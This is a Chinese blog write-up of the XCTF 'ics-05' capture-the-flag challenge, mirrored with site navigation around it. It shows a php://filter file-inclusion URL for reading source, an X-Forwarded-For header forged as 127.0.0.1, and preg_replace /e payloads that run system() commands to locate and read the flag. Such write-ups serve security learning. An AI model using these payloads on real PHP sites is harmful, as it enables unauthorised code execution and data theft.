zoukankan      html  css  js  c++  java
  • 【XCTF】ics-05

    信息:

    题目来源:XCTF 4th-CyberEarth

    标签:PHP伪协议

    题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

    解题过程

    题目给了一个工控管理系统,并提示存在后门,遂进行目录扫描:

    ics-051

    发现可疑目录 /index.php/login/,访问后得到一个后台页面:

    ics-052

    出现page这个get参数,猜测可能存在文件包含读取源码的漏洞:

    http://220.249.52.133:48431/index.php/login/?page=php://filter/read=convert.base64-encode/resource=index.php
    

    ics-053

    获得网页源代码(关键部分):

    if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    
        echo "<br >Welcome My Admin ! <br >";
    
        $pattern = $_GET[pat];
        $replacement = $_GET[rep];
        $subject = $_GET[sub];
    
        if (isset($pattern) && isset($replacement) && isset($subject)) {
            preg_replace($pattern, $replacement, $subject);
        }else{
            die();
        }
    }
    

    伪造XFF头来登入系统,同时利用preg_replace函数的漏洞(当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行)

    preg_replace — 执行一个正则表达式的搜索和替换

    • pattern:要搜索的模式。可以使一个字符串或字符串数组
    • replacement:用于替换的字符串或字符串数组
    • subject:要进行搜索和替换的字符串或字符串数组

    构造payload:

    ?pat=/1/e&rep=system("find+-iname+flag")&sub=123
    iname: 忽略大小写
    +:代替空格
    

    ics-054

    pat=/1/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123
    %26%26 == &&
    

    获得flag文件名为flag.php

    ?pat=/1/e&rep=system("cat++./s3chahahaDir/flag/flag.php")&sub=123
    

    获得flag。

  • 相关阅读:
    word2vec
    视频推荐系统
    python基础
    go-elasticsearch
    Docker 部署 go项目
    gohbase
    禅道部署linux
    jmeter 报错 Error occurred during initialization of VM Could not reserve enough space for object heap
    jarvis OJ-DSA
    算法-我的第一本算法书(一)
  • 原文地址:https://www.cnblogs.com/chalan630/p/13222336.html
Copyright © 2011-2022 走看看